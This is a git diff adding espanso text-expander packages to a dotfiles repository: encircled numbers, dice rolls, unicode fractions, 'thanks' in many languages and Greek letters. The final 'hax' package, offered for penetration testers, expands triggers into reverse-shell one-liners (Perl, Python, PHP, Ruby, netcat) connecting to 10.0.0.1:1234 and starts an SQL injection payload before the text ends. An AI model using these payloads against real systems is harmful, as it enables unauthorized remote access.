/dev/null +++ b/espanso/.config/espanso/match/packages/encircled-numbers/package.yml @@ -0,0 +1,153 @@ + +matches: + # {{{ Encircled numbers 0-50 + # https://www.webnots.com/alt-code-shortcuts-for-encircled-numbers/ + - trigger: ';o0' + replace: '⓪' + - trigger: ';o1' + replace: '①' + - trigger: ';o2' + replace: '②' + - trigger: ';o3' + replace: '③' + - trigger: ';o4' + replace: '④' + - trigger: ';o5' + replace: '⑤' + - trigger: ';o6' + replace: '⑥' + - trigger: ';o7' + replace: '⑦' + - trigger: ';o8' + replace: '⑧' + - trigger: ';o9' + replace: '⑨' + - trigger: ';o.10' + replace: '⑩' + - trigger: ';o.11' + replace: '⑪' + - trigger: ';o.12' + replace: '⑫' + - trigger: ';o.13' + replace: '⑬' + - trigger: ';o.14' + replace: '⑭' + - trigger: ';o.15' + replace: '⑮' + - trigger: ';o.16' + replace: '⑯' + - trigger: ';o.17' + replace: '⑰' + - trigger: ';o.18' + replace: '⑱' + - trigger: ';o.19' + replace: '⑲' + - trigger: ';o.20' + replace: '⑳' + - trigger: ';o.21' + replace: '㉑' + - trigger: ';o.22' + replace: '㉒' + - trigger: ';o.23' + replace: '㉓' + - trigger: ';o.24' + replace: '㉔' + - trigger: ';o.25' + replace: '㉕' + - trigger: ';o.26' + replace: '㉖' + - trigger: ';o.27' + replace: '㉗' + - trigger: ';o.28' + replace: '㉘' + - trigger: ';o.29' + replace: '㉙' + - trigger: ';o.30' + replace: '㉚' + - trigger: ';o.31' + replace: '㉛' + - trigger: ';o.32' + replace: '㉜' + - trigger: ';o.33' + replace: '㉝' + - trigger: ';o.34' + replace: '㉞' + - trigger: ';o.35' + replace: '㉟' + - trigger: ';o.36' + replace: '㊱' + - trigger: ';o.37' + replace: '㊲' + - trigger: ';o.38' + replace: '㊳' + - trigger: ';o.39' + replace: '㊴' + - trigger: ';o.40' + replace: '㊵' + - trigger: ';o.41' + replace: '㊶' + - trigger: ';o.42' + replace: '㊷' + - trigger: ';o.43' + replace: '㊸' + - trigger: ';o.44' + replace: '㊹' + - trigger: ';o.45' + replace: '㊺' + - trigger: ';o.46' + replace: '㊻' + - trigger: ';o.47' + replace: '㊼' + - trigger: ';o.48' + replace: '㊽' + - trigger: ';o.49' + replace: '㊾' + - trigger: ';o.50' + replace: '㊿' + # }}} + + # {{{ Negative encircled numbers 0-20 + # https://www.webnots.com/alt-code-shortcuts-for-encircled-numbers/ + - trigger: ';no0' + replace: '⓿' + - trigger: ';no1' + replace: '❶' + - trigger: ';no2' + replace: '❷' + - trigger: ';no3' + replace: '❸' + - trigger: ';no4' + replace: '❹' + - trigger: ';no5' + replace: '❺' + - trigger: ';no6' + replace: '❻' + - trigger: ';no7' + replace: '❼' + - trigger: ';no8' + replace: '❽' + - trigger: ';no9' + replace: '❾' + - trigger: ';no.10' + replace: '❿' + - trigger: ';no.11' + replace: '⓫' + - trigger: ';no.12' + replace: '⓬' + - trigger: ';no.13' + replace: '⓭' + - trigger: ';no.14' + replace: '⓮' + - trigger: ';no.15' + replace: '⓯' + - trigger: ';no.16' + replace: '⓰' + - trigger: ';no.17' + replace: '⓱' + - trigger: ';no.18' + replace: '⓲' + - trigger: ';no.19' + replace: '⓳' + - trigger: ';no.20' + replace: '⓴' + # }}} \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/espanso-dice/README.md b/espanso/.config/espanso/match/packages/espanso-dice/README.md new file mode 100644 index 0000000..8fcdc7a --- /dev/null +++ b/espanso/.config/espanso/match/packages/espanso-dice/README.md @@ -0,0 +1,16 @@ +# Espanso Dice +Espanso text expander package with common die types. + +To use, type ".roll dnumber of die sides" followed by a space. + +## Dice currently supported: +- d2 +- d3 +- d4 +- d6 +- d8 +- d10 +- d12 +- d20 +- d100 (aka d00) +- d1000 (aka d000) \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/espanso-dice/_manifest.yml b/espanso/.config/espanso/match/packages/espanso-dice/_manifest.yml new file mode 100644 index 0000000..90e95ae --- /dev/null +++ b/espanso/.config/espanso/match/packages/espanso-dice/_manifest.yml @@ -0,0 +1,7 @@ +author: Craftidore +description: Dice emulator using the espanso random function. +homepage: https://github.com/Craftidore/espanso-dice +name: espanso-dice +title: Espanso Dice +version: 0.1.0 +tags: ["utility", "fun", "dice"] \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/espanso-dice/_pkgsource.yml b/espanso/.config/espanso/match/packages/espanso-dice/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/espanso/.config/espanso/match/packages/espanso-dice/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/espanso/.config/espanso/match/packages/espanso-dice/package.yml b/espanso/.config/espanso/match/packages/espanso-dice/package.yml new file mode 100644 index 0000000..7bf6031 --- /dev/null +++ b/espanso/.config/espanso/match/packages/espanso-dice/package.yml @@ -0,0 +1,210 @@ +# Espanso Dice + +matches: + - triggers: [".roll d2", ".r d2"] + word: true + replace: "d2: {{output}}" + vars: + - name: output + type: random + params: + choices: + - "1" + - "2" + - triggers: [".roll d3", ".r d3"] + word: true + replace: "d3: {{output}}" + vars: + - name: output + type: random + params: + choices: + - "1" + - "2" + - "3" + - triggers: [".roll d4", ".r d4"] + word: true + replace: "d4: {{output}}" + vars: + - name: output + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - triggers: [".roll d6", ".r d6"] + word: true + replace: "d6: {{output}}" + vars: + - name: output + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - triggers: [".roll d8", ".r d8"] + word: true + replace: "d8: {{output}}" + vars: + - name: output + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - "7" + - "8" + - triggers: [".roll d10", ".r d10"] + word: true + replace: "d10: {{output}}" + vars: + - name: output + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - "7" + - "8" + - "9" + - "10" + - triggers: [".roll d12", ".r d12"] + word: true + replace: "d12: {{output}}" + vars: + - name: output + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - "7" + - "8" + - "9" + - "10" + - "11" + - "12" + - triggers: [".roll d20", ".r d20"] + word: true + replace: "d20: {{output}}" + vars: + - name: output + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - "7" + - "8" + - "9" + - "10" + - "11" + - "12" + - "13" + - "14" + - "15" + - "16" + - "17" + - "18" + - "19" + - "20" + - triggers: [".roll d100", ".roll d00", ".r d100", ".r d00"] + word: true + replace: "d100: {{output1}}{{output2}}" + vars: + - name: output1 + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - "7" + - "8" + - "9" + - "10" + - name: output2 + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - "7" + - "8" + - "9" + - "0" + - triggers: [".roll d1000", ".roll d000", ".r d1000", ".r d000"] + word: true + replace: "d1000: {{output1}}{{output2}}{{output3}}" + vars: + - name: output1 + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - "7" + - "8" + - "9" + - "10" + - name: output2 + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - "7" + - "8" + - "9" + - "0" + - name: output3 + type: random + params: + choices: + - "1" + - "2" + - "3" + - "4" + - "5" + - "6" + - "7" + - "8" + - "9" + - "0" \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/espanso-fractions/README.md b/espanso/.config/espanso/match/packages/espanso-fractions/README.md new file mode 100644 index 0000000..5097f6d --- /dev/null +++ b/espanso/.config/espanso/match/packages/espanso-fractions/README.md @@ -0,0 +1,37 @@ +This package will allow you to use unicode fractions in your typing: + +:1/4 → ¼ + +:1/2 → ½ + +:3/4 → ¾ + +:1/7 → ⅐ + +:1/9 → ⅑ + +:1/10 → ⅒ + +:1/3 → ⅓ + +:2/3 → ⅔ + +:1/5 → ⅕ + +:2/5 → ⅖ + +:3/5 → ⅗ + +:4/5 → ⅘ + +:1/6 → ⅙ + +:5/6 → ⅚ + +:1/8 → ⅛ + +:3/8 → ⅜ + +:5/8 → ⅝ + +:7/8 → ⅞ \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/espanso-fractions/_manifest.yml b/espanso/.config/espanso/match/packages/espanso-fractions/_manifest.yml new file mode 100644 index 0000000..923f417 --- /dev/null +++ b/espanso/.config/espanso/match/packages/espanso-fractions/_manifest.yml @@ -0,0 +1,7 @@ +author: Andrew Pastuszak +description: A package allowing you to use unicode fractions +name: espanso-fractions +title: Unicode Fractions +version: 0.1.0 +homepage: "https://github.com/apastuszak/espanso-package-fractions" +tags: ["symbols", "numbers", "fractions", "math"] \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/espanso-fractions/_pkgsource.yml b/espanso/.config/espanso/match/packages/espanso-fractions/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/espanso/.config/espanso/match/packages/espanso-fractions/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/espanso/.config/espanso/match/packages/espanso-fractions/package.yml b/espanso/.config/espanso/match/packages/espanso-fractions/package.yml new file mode 100644 index 0000000..799aef8 --- /dev/null +++ b/espanso/.config/espanso/match/packages/espanso-fractions/package.yml @@ -0,0 +1,37 @@ +matches: + - trigger: ":1/4" + replace: "¼" + - trigger: ":1/2" + replace: "½" + - trigger: ":3/4" + replace: "¾" + - trigger: ":1/7" + replace: "⅐" + - trigger: ":1/9" + replace: "⅑" + - trigger: ":1/10" + replace: "⅒" + - trigger: ":1/3" + replace: "⅓" + - trigger: ":2/3" + replace: "⅔" + - trigger: ":1/5" + replace: "⅕" + - trigger: ":2/5" + replace: "⅖" + - trigger: ":3/5" + replace: "⅗" + - trigger: ":4/5" + replace: "⅘" + - trigger: ":1/6" + replace: "⅙" + - trigger: ":5/6" + replace: "⅚" + - trigger: ":1/8" + replace: "⅛" + - trigger: ":3/8" + replace: "⅜" + - trigger: ":5/8" + replace: "⅝" + - trigger: ":7/8" + replace: "⅞" diff --git a/espanso/.config/espanso/match/packages/foreign-thanks/LICENSE b/espanso/.config/espanso/match/packages/foreign-thanks/LICENSE new file mode 100644 index 0000000..b600d38 --- /dev/null +++ b/espanso/.config/espanso/match/packages/foreign-thanks/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 Ihor Kopach https://github.com/kopach + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/espanso/.config/espanso/match/packages/foreign-thanks/README.md b/espanso/.config/espanso/match/packages/foreign-thanks/README.md new file mode 100644 index 0000000..943bc6d --- /dev/null +++ b/espanso/.config/espanso/match/packages/foreign-thanks/README.md @@ -0,0 +1,110 @@ +# 🌐 Foreign Thanks + +[Espanso](https://espanso.org) package to easy say Thanks in different languages. + +⭐️ Consider to star this package on [GitHub](https://github.com/kopach/espanso-package-foreign-thanks/stargazers) — it helps! + +[✨ 👉 Check out my other espanso packages 👈 ✨](https://github.com/kopach?tab=repositories&q=espanso-package&type=source) + +

+ +![demo](https://github.com/kopach/espanso-package-foreign-thanks/blob/main/assets/demo.gif) + +

+ +## Triggers + +| Keyword | Replaced | +| ------------------- | ----------------------- | +| `:arabicthx` | `شكرا` | +| `:arabicthanks` | `شكرا` | +| ------------------- | ----------------------- | +| `:armenianthx` | `Շնորհակալություն` | +| `:armenianthanks` | `Շնորհակալություն` | +| ------------------- | ----------------------- | +| `:basquethx` | `Eskerrik asko` | +| `:basquethanks` | `Eskerrik asko` | +| ------------------- | ----------------------- | +| `:canadianthx` | `thanks, eh.` | +| `:canadianthanks` | `thanks, eh.` | +| ------------------- | ----------------------- | +| `:chinesethx` | `谢谢` | +| `:chinesethanks` | `谢谢` | +| ------------------- | ----------------------- | +| `:czechthx` | `Díky` | +| `:czechthanks` | `Díky` | +| ------------------- | ----------------------- | +| `:dutchthx` | `Dank je wel` | +| `:dutchthanks` | `Dank je wel` | +| ------------------- | ----------------------- | +| `:filipinothx` | `Salamat` | +| `:filipinothanks` | `Salamat` | +| ------------------- | ----------------------- | +| `:finnishthx` | `Kiitos` | +| `:finnishthanks` | `Kiitos` | +| ------------------- | ----------------------- | +| `:frenchthx` | `Merci` | +| `:frenchthanks` | `Merci` | +| ------------------- | ----------------------- | +| `:germanthx` | `Danke` | +| `:germanthanks` | `Danke` | +| ------------------- | ----------------------- | +| `:icelandicthx` | `Takk` | +| `:icelandicthanks` | `Takk` | +| ------------------- | ----------------------- | +| `:indianthx` | `धन्यवाद` | +| `:indianthanks` | `धन्यवाद` | +| ------------------- | ----------------------- | +| `:indonesianthx` | `Terima kasih` | +| `:indonesianthanks` | `Terima kasih` | +| ------------------- | ----------------------- | +| `:italianthx` | `Grazie` | +| `:italianthanks` | `Grazie` | +| ------------------- | ----------------------- | +| `:japanesethx` | `ありがとうございます` | +| `:japanesethanks` | `ありがとうございます` | +| ------------------- | ----------------------- | +| `:klingonthx` | `QA TLHO"` | +| `:klingonthanks` | `QA TLHO"` | +| ------------------- | ----------------------- | +| `:koreanthx` | `감사합니다` | +| `:koreanthanks` | `감사합니다` | +| ------------------- | ----------------------- | +| `:persianthx` | `متشکرم` | +| `:persianthanks` | `متشکرم` | +| ------------------- | ----------------------- | +| `:polishthx` | `Dzięki` | +| `:polishthanks` | `Dzięki` | +| ------------------- | ----------------------- | +| `:romanianthx` | `Multumesc` | +| `:romanianthanks` | `Multumesc` | +| ------------------- | ----------------------- | +| `:russianthx` | `Cпасибо` | +| `:russianthanks` | `Cпасибо` | +| ------------------- | ----------------------- | +| `:spanishthx` | `Gracias` | +| `:spanishthanks` | `Gracias` | +| ------------------- | ----------------------- | +| `:swedishthx` | `Tack` | +| `:swedishthanks` | `Tack` | +| ------------------- | ----------------------- | +| `:turkishthx` | `Sağol` | +| `:turkishthanks` | `Sağol` | +| ------------------- | ----------------------- | +| `:ukrainianthx` | `Дякую` | +| `:ukrainianthanks` | `Дякую` | +| ------------------- | ----------------------- | +| `:vietnamesethx` | `Cảm ơn` | +| `:vietnamesethanks` | `Cảm ơn` | + +## Contribute + +Please, feel free to contribute to this package on [GitHub](https://github.com/kopach/espanso-package-foreign-thanks) + +## Credits + +Inspired by [Foreign Thanks](https://snippets.textexpander.com/group/a3c4abfa3e21d9d77cd0542d6ce69f20) for [Text Expander](https://textexpander.com) app + +## 📄 License + +This espanso package licensed under the [MIT](https://github.com/kopach/espanso-package-foreign-thanks/blob/master/LICENSE) diff --git a/espanso/.config/espanso/match/packages/foreign-thanks/_manifest.yml b/espanso/.config/espanso/match/packages/foreign-thanks/_manifest.yml new file mode 100644 index 0000000..ed7c1af --- /dev/null +++ b/espanso/.config/espanso/match/packages/foreign-thanks/_manifest.yml @@ -0,0 +1,7 @@ +author: Ihor Kopach (https://kopach.dev) +description: Say Thanks in different languages +name: foreign-thanks +title: Foreign Thanks +version: 1.0.0 +homepage: "https://github.com/kopach/espanso-package-foreign-thanks" +tags: ["greetings", "languages", "phrases"] \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/foreign-thanks/_pkgsource.yml b/espanso/.config/espanso/match/packages/foreign-thanks/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/espanso/.config/espanso/match/packages/foreign-thanks/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/espanso/.config/espanso/match/packages/foreign-thanks/package.yml b/espanso/.config/espanso/match/packages/foreign-thanks/package.yml new file mode 100644 index 0000000..6c8d5f2 --- /dev/null +++ b/espanso/.config/espanso/match/packages/foreign-thanks/package.yml @@ -0,0 +1,136 @@ +# Foreign Thanks +matches: + - trigger: ':arabicthx' + replace: 'شكرا' + - trigger: ':arabicthanks' + replace: 'شكرا' + + - trigger: ':armenianthx' + replace: 'Շնորհակալություն' + - trigger: ':armenianthanks' + replace: 'Շնորհակալություն' + + - trigger: ':basquethx' + replace: 'Eskerrik asko' + - trigger: ':basquethanks' + replace: 'Eskerrik asko' + + - trigger: ':canadianthx' + replace: 'thanks, eh.' + - trigger: ':canadianthanks' + replace: 'thanks, eh.' + + - trigger: ':chinesethx' + replace: '谢谢' + - trigger: ':chinesethanks' + replace: '谢谢' + + - trigger: ':czechthx' + replace: 'Díky' + - trigger: ':czechthanks' + replace: 'Díky' + + - trigger: ':dutchthx' + replace: 'Dank je wel' + - trigger: ':dutchthanks' + replace: 'Dank je wel' + + - trigger: ':filipinothx' + replace: 'Salamat' + - trigger: ':filipinothanks' + replace: 'Salamat' + + - trigger: ':finnishthx' + replace: 'Kiitos' + - trigger: ':finnishthanks' + replace: 'Kiitos' + + - trigger: ':frenchthx' + replace: 'Merci' + - trigger: ':frenchthanks' + replace: 'Merci' + + - trigger: ':germanthx' + replace: 'Danke' + - trigger: ':germanthanks' + replace: 'Danke' + + - trigger: ':icelandicthx' + replace: 'Takk' + - trigger: ':icelandicthanks' + replace: 'Takk' + + - trigger: ':indianthx' + replace: 'धन्यवाद' + - trigger: ':indianthanks' + replace: 'धन्यवाद' + + - trigger: ':indonesianthx' + replace: 'Terima kasih' + - trigger: ':indonesianthanks' + replace: 'Terima kasih' + + - trigger: ':italianthx' + replace: 'Grazie' + - trigger: ':italianthanks' + replace: 'Grazie' + + - trigger: ':japanesethx' + replace: 'ありがとうございます' + - trigger: ':japanesethanks' + replace: 'ありがとうございます' + + - trigger: ':klingonthx' + replace: "QA TLHO'" + - trigger: ':klingonthanks' + replace: "QA TLHO'" + + - trigger: ':koreanthx' + replace: '감사합니다' + - trigger: ':koreanthanks' + replace: '감사합니다' + + - trigger: ':persianthx' + replace: 'متشکرم' + - trigger: ':persianthanks' + replace: 'متشکرم' + + - trigger: ':polishthx' + replace: 'Dzięki' + - trigger: ':polishthanks' + replace: 'Dzięki' + + - trigger: ':romanianthx' + replace: 'Multumesc' + - trigger: ':romanianthanks' + replace: 'Multumesc' + + - trigger: ':russianthx' + replace: 'Cпасибо' + - trigger: ':russianthanks' + replace: 'Cпасибо' + + - trigger: ':spanishthx' + replace: 'Gracias' + - trigger: ':spanishthanks' + replace: 'Gracias' + + - trigger: ':swedishthx' + replace: 'Tack' + - trigger: ':swedishthanks' + replace: 'Tack' + + - trigger: ':turkishthx' + replace: 'Sağol' + - trigger: ':turkishthanks' + replace: 'Sağol' + + - trigger: ':ukrainianthx' + replace: 'Дякую' + - trigger: ':ukrainianthanks' + replace: 'Дякую' + + - trigger: ':vietnamesethx' + replace: 'Cảm ơn' + - trigger: ':vietnamesethanks' + replace: 'Cảm ơn' \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/greek-letters-improved/LICENSE b/espanso/.config/espanso/match/packages/greek-letters-improved/LICENSE new file mode 100644 index 0000000..fd4d9b7 --- /dev/null +++ b/espanso/.config/espanso/match/packages/greek-letters-improved/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 José Ferreira + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/espanso/.config/espanso/match/packages/greek-letters-improved/README.md b/espanso/.config/espanso/match/packages/greek-letters-improved/README.md new file mode 100644 index 0000000..537d992 --- /dev/null +++ b/espanso/.config/espanso/match/packages/greek-letters-improved/README.md @@ -0,0 +1,59 @@ +# Available matches +| Trigger | Replace | +|-------------|-----------| +| :Alpha: | Α | +| :alpha: | α | +| :Beta: | Β | +| :beta: | β | +| :varbeta: | ϐ | +| :Delta: | Δ | +| :delta: | δ | +| :Epsilon: | Ε | +| :epsilon: | ϵ | +| :varepsilon | ε | +| :Phi: | Φ | +| :phi: | 𝜙 | +| :varphi: | φ | +| :Gamma: | Γ | +| :gamma: | γ | +| :Eta: | Η | +| :eta: | η | +| :Iota: | Ι | +| :iota: | ι | +| :Theta: | Θ | +| :theta: | θ | +| :vartheta: | ϑ | +| :Kappa: | Κ | +| :kappa: | κ | +| :varkappa | ϰ | +| :Lambda: | Λ | +| :lambda: | λ | +| :Mu: | Μ | +| :mu: | μ | +| :Nu: | Ν | +| :nu: | ν | +| :Omicron: | Ο | +| :omicron: | ο | +| :Pi: | Π | +| :pi: | π | +| :varpi: | ϖ | +| :Chi: | Χ | +| :chi: | χ | +| :Rho: | Ρ | +| :rho: | ρ | +| :varrho | ϱ | +| :Sigma: | Σ | +| :sigma: | σ | +| :varsigma: | ς | +| :Tau: | Τ | +| :tau: | τ | +| :Upsilon: | Υ | +| :upsilon: | υ | +| :Omega: | Ω | +| :omega: | ω | +| :Xi: | Ξ | +| :xi: | ξ | +| :Psi: | Ψ | +| :psi: | ψ | +| :Zeta: | Ζ | +| :zeta: | ζ | \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/greek-letters-improved/_manifest.yml b/espanso/.config/espanso/match/packages/greek-letters-improved/_manifest.yml new file mode 100644 index 0000000..644a903 --- /dev/null +++ b/espanso/.config/espanso/match/packages/greek-letters-improved/_manifest.yml @@ -0,0 +1,8 @@ +author: "Jos\xE9 Ferreira" +description: A package containing most of the Greek alphabet and some common variatons + using Latex based naming scheme +name: greek-letters-improved +title: Greek Letters based on Latex +version: 0.1.0 +homepage: "https://github.com/jpmvferreira/espanso-mega-pack" +tags: ["greek", "languages", "latex", "math"] \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/greek-letters-improved/_pkgsource.yml b/espanso/.config/espanso/match/packages/greek-letters-improved/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/espanso/.config/espanso/match/packages/greek-letters-improved/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/espanso/.config/espanso/match/packages/greek-letters-improved/package.yml b/espanso/.config/espanso/match/packages/greek-letters-improved/package.yml new file mode 100644 index 0000000..1bc0423 --- /dev/null +++ b/espanso/.config/espanso/match/packages/greek-letters-improved/package.yml @@ -0,0 +1,174 @@ +matches: + - triggers: [":Alpha:", ":A:"] + replace: "Α" + + - triggers: [":alpha:", ":a:"] + replace: "α" + + - triggers: [":Beta:", ":B:"] + replace: "Β" + + - triggers: [":beta:", ":b:"] + replace: "β" + + - triggers: [":varbeta:", ":vb:"] + replace: "ϐ" + + - triggers: [":Delta:", ":D:"] + replace: "Δ" + + - triggers: [":delta:", ":d:"] + replace: "δ" + + - triggers: [":Epsilon:", ":E:"] + replace: "Ε" + + - triggers: [":epsilon:", ":e:"] + replace: "ϵ" + + - triggers: [":varepsilon", ":ve:"] + replace: "ε" + + - triggers: [":Phi:", ":P:"] + replace: "Φ" + + - triggers: [":phi:", ":p:"] + replace: "𝜙" + + - triggers: [":varphi:", ":vp:"] + replace: "φ" + + - triggers: [":Gamma:", ":G:"] + replace: "Γ" + + - triggers: [":gamma:", ":g:"] + replace: "γ" + + - triggers: [":Eta:", ":E:"] + replace: "Η" + + - triggers: [":eta:", ":e:"] + replace: "η" + + - triggers: [":Iota:", ":I:"] + replace: "Ι" + + - triggers: [":iota:", ":i:"] + replace: "ι" + + - triggers: [":Theta:", ":T:"] + replace: "Θ" + + - triggers: [":theta:", ":t:"] + replace: "θ" + + - triggers: [":vartheta:", ":vt:"] + replace: "ϑ" + + - triggers: [":Kappa:", ":K:"] + replace: "Κ" + + - triggers: [":kappa:", ":k:"] + replace: "κ" + + - triggers: [":varkappa", ":vk:"] + replace: "ϰ" + + - triggers: [":Lambda:", ":L:"] + replace: "Λ" + + - triggers: [":lambda:", ":l:"] + replace: "λ" + + - triggers: [":Mu:", ":M:"] + replace: "Μ" + + - triggers: [":mu:", ":m:"] + replace: "μ" + + - triggers: [":Nu:", ":N:"] + replace: "Ν" + + - triggers: [":nu:", ":n:"] + replace: "ν" + + - trigger: ":Omicron:" + replace: "Ο" + + - trigger: ":omicron:" + replace: "ο" + + - trigger: ":Pi:" + replace: "Π" + + - trigger: ":pi:" + replace: "π" + + - triggers: [":varpi:", ":vpi:"] + replace: "ϖ" + + - triggers: [":Chi:", ":C:"] + replace: "Χ" + + - triggers: [":chi:", ":c:"] + replace: "χ" + + - triggers: [":Rho:", ":R:"] + replace: "Ρ" + + - triggers: [":rho:", ":r:"] + replace: "ρ" + + - triggers: [":varrho", ":vr:"] + replace: "ϱ" + + - triggers: [":Sigma:", ":S:"] + replace: "Σ" + + - triggers: [":sigma:", ":s:"] + replace: "σ" + + - triggers: [":varsigma:", ":vs:"] + replace: "ς" + + - trigger: ":Tau:" + replace: "Τ" + + - trigger: ":tau:" + replace: "τ" + + - triggers: [":Upsilon:", ":U:"] + replace: "Υ" + + - triggers: [":upsilon:", ":u:"] + replace: "υ" + + - triggers: [":Omega:", ":O:"] + replace: "Ω" + + - triggers: [":omega:", ":o:"] + replace: "ω" + + - trigger: ":Xi:" + replace: "Ξ" + + - trigger: ":xi:" + replace: "ξ" + + - trigger: ":Psi:" + replace: "Ψ" + + - trigger: ":psi:" + replace: "ψ" + + - triggers: [":varPsi:", ":vPsi:"] + replace: "Ⲯ" + + - triggers: [":varpsi:", ":vpsi:"] + replace: "ⲯ" + + - triggers: [":Zeta:", ":Z:"] + replace: "Ζ" + + - triggers: [":zeta:", ":z:"] + replace: "ζ" diff --git a/espanso/.config/espanso/match/packages/hax/README.md b/espanso/.config/espanso/match/packages/hax/README.md new file mode 100644 index 0000000..5b9acee --- /dev/null +++ b/espanso/.config/espanso/match/packages/hax/README.md @@ -0,0 +1,5 @@ +# Hax - A collection of shortcuts for hackers/penetration testers + +All the payloads included in `Hax` originate from the following sources, which I would like to thank: +- https://github.com/swisskyrepo/PayloadsAllTheThings +- https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/hax/_manifest.yml b/espanso/.config/espanso/match/packages/hax/_manifest.yml new file mode 100644 index 0000000..541dc66 --- /dev/null +++ b/espanso/.config/espanso/match/packages/hax/_manifest.yml @@ -0,0 +1,6 @@ +name: "hax" +title: "Hax" +description: Penetration testing utilities and replacements +version: 0.1.0 +author: Nick Aliferopoulos +tags: ["hax", "hack", "hacking", "penetration", "sqli", "xss", "shell", "ssti", "xxe"] \ No newline at end of file diff --git a/espanso/.config/espanso/match/packages/hax/_pkgsource.yml b/espanso/.config/espanso/match/packages/hax/_pkgsource.yml new file mode 100644 index 0000000..0aa8f31 --- /dev/null +++ b/espanso/.config/espanso/match/packages/hax/_pkgsource.yml @@ -0,0 +1,2 @@ +--- +hub diff --git a/espanso/.config/espanso/match/packages/hax/package.yml b/espanso/.config/espanso/match/packages/hax/package.yml new file mode 100644 index 0000000..4e4ef30 --- /dev/null +++ b/espanso/.config/espanso/match/packages/hax/package.yml @@ -0,0 +1,58 @@ +matches: + # Reverse Shells + - trigger: ":rev-perl" + replace: "perl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" + - trigger: ":rev-python" + replace: "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" + - trigger: ":rev-php" + replace: "php -r '$sock=fsockopen(\"10.0.0.1\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");'" + - trigger: ":rev-ruby" + replace: "ruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",1234).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" + - trigger: ":rev-nc" + replace: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f" + + # SQL Injection Payloads + - trigger: ":sqli-poly" + replace: "SLEEP(1) /*' or SLEEP(1) or '\" or SLEEP(1) or 